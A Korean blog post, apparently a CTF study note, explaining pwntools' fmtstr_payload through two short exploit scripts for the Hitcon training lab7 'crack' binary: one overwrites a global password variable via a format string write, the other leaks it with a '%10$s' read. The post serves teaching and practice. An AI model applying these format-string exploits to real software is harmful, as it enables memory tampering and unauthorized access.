티스토리 뷰

pwnable/정리

fsb tip(fmtstr_payload)

ba0bab 2018. 7. 23. 16:30

pwntools에 fmtstr_payload라는게 있다. 코드를 보면서 이해해보자.


Hitcon training lab7이다.


from pwn import *


s = process("./crack")


password = 0x0804a048 #password 라는 전역변수의 주소를 알아옴

fm_len = 10 #  fsb에서 offset


s.recvuntil("? ")

payload = fmtstr_payload(fm_len, {password:100}) # fm_len(10)위치의 오프셋에서 {address:value} 이렇게 값을 지정하면 쓰르륵.

s.sendline(payload)

s.recvuntil(":")

s.sendline('100')

s.interactive()



#####################################################


저 툴을 쓰지 않고 하는 코드이다.


from pwn import *


s = process("./crack")


password = 0x804a048 #마찬가지로  password전역변수의 주소

s.recvuntil("?")


s.sendline(p32(password) +"k"+ "%10$s") # 첫 buf 4바이트에 이 주소를 적어주고 %10$s 로 이 포인터 안에 값을 leak할 수 있음

s.recvuntil("k") "적어논 k를 기준으로 recv해서 파싱해준다.

password=u32(s.recv(4)) #random 한 password 값 leak

print(hex(password)) 

s.recvuntil(":")

s.send(str(password)) #atoi 해주기 때 문에 str로 보내주면 됌.

s.interactive()




'pwnable > 정리' 카테고리의 다른 글

heap2.c  (0) 2018.07.25
fist fit, malloc, free  (0) 2018.07.25
objdump 자주 쓰는거, nm  (0) 2018.07.13
pwntools ssh 연결 한 다음 process실행  (0) 2018.07.12
pwntools ssh연결 후 nc 연결  (0) 2018.07.12
Comments